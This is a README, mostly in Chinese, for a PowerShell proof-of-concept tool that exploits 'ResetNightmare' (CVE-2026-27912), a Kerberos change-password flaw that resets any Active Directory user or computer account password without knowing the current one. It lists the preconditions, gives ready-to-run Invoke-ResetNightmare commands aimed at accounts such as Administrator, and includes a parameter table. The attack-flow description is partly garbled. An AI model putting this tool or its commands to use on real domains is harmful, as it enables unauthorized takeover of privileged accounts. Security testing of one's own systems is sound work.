
POC tool for ResetNightmare (CVE-2026-27912)
用于 ResetNightmare (CVE-2026-27912) 的概念验证(POC)工具。
ResetNightmare 是 Kerberos 更改密码协议中的一个验证缺陷,允许在不知道当前密码的情况下重置任何目标用户/计算机帐户的密码。
该攻击需要一个未打补丁的域控制器,并且能够在你控制的任何帐户上写入 userPrincipalName (UPN)。
或者,拥有在任何 OU 中创建新用户/计算机权限的攻击者也可以利用此漏洞,因为创建用户/计算机后,攻击者将获得对其的 GenericWrite 权限。
此脚本自动化整个攻击流程,并在执行后自行清理。 攻击流程如下:
-CreateNewPath 创建。sAMAccountName,例如 "Administrator"。NT-ENTERPRISE。该 TGT 将请求到 kadmin/changepw SPN。用户和计算机帐户都可以作为目标。

-RubeusPath 指向它。-CreateNewPath 指定)。-DC 指定。点源(dot-source)该脚本以加载函数,然后调用它:
. .\ResetNightmare.ps1
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
对 -TargetAccount 使用 sAMAccountName(以 $ 结尾):
Invoke-ResetNightmare `
-TargetAccount 'server$' `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "controlledUser" `
-UPNUserPassword "ControlledP@ss!"
如果你有权限在 OU/容器中创建对象,可以使用 -CreateNewPath 指定 OU/容器的 DN。指定后,-UPNUser 和 -UPNUserPassword 将被视为要创建的帐户的凭证,而不是域中已有的帐户:
Invoke-ResetNightmare `
-TargetAccount "victim" `
-TargetNewPassword "NewP@ssw0rd!" `
-UPNUser "attackerAcct" `
-UPNUserPassword "AttackerP@ss!" `
-CreateNewPath "OU=Temp,DC=demo,DC=lab"
添加 -Computer 以创建/使用计算机帐户而不是用户帐户。
免责声明
此内容仅用于教育和信息目的。它旨在促进对您拥有或有权测试的系统上可能存在的安全漏洞的认识和负责任地修复。严禁将本信息用于恶意目的、利用或非法访问。作者不认可或纵容任何非法活动,并且不对因滥用本材料而产生的任何责任负责。此外,作者不保证内容的准确性或完整性,并且不对因使用本内容而导致的任何损害承担责任。
| 参数 | 必需 | 描述 |
|---|
-TargetAccount | 是 | 要重置密码的目标帐户的 sAMAccountName。如果目标是计算机帐户,请确保包含尾随的 $。 |
-TargetNewPassword | 是 | 要为目标帐户设置的新密码。 |
-UPNUser | 是 | 你可以写入 UPN 的帐户,或者如果指定了 -CreateNewPath,则为要创建的帐户。 |
-UPNUserPassword | 是 | -UPNUser 的明文密码。 |
-Computer | 否 | 将 -UPNUser 视为计算机帐户(在与 -CreateNewPath 结合使用时,创建计算机帐户)。 |
-RubeusPath | 否 | Rubeus 可执行文件的路径。默认为 ".\Rubeus.exe"。 |
-SupportedEncryption | 否 | TGT 支持的加密类型。默认值为 "AES256",在大多数情况下应可使用。如需更改,支持的值有: DES|RC4|AES128|AES256 |
-CreateNewPath | 否 | 你拥有创建对象权限的 OU/容器的 DistinguishedName。如果指定,-UPNUser 和 -UPNUserPassword 参数将是所创建用户的凭证,而不是使用现有用户。 |
-DC | 否 | 要操作的 DC 名称。如果未指定,将自动解析。 |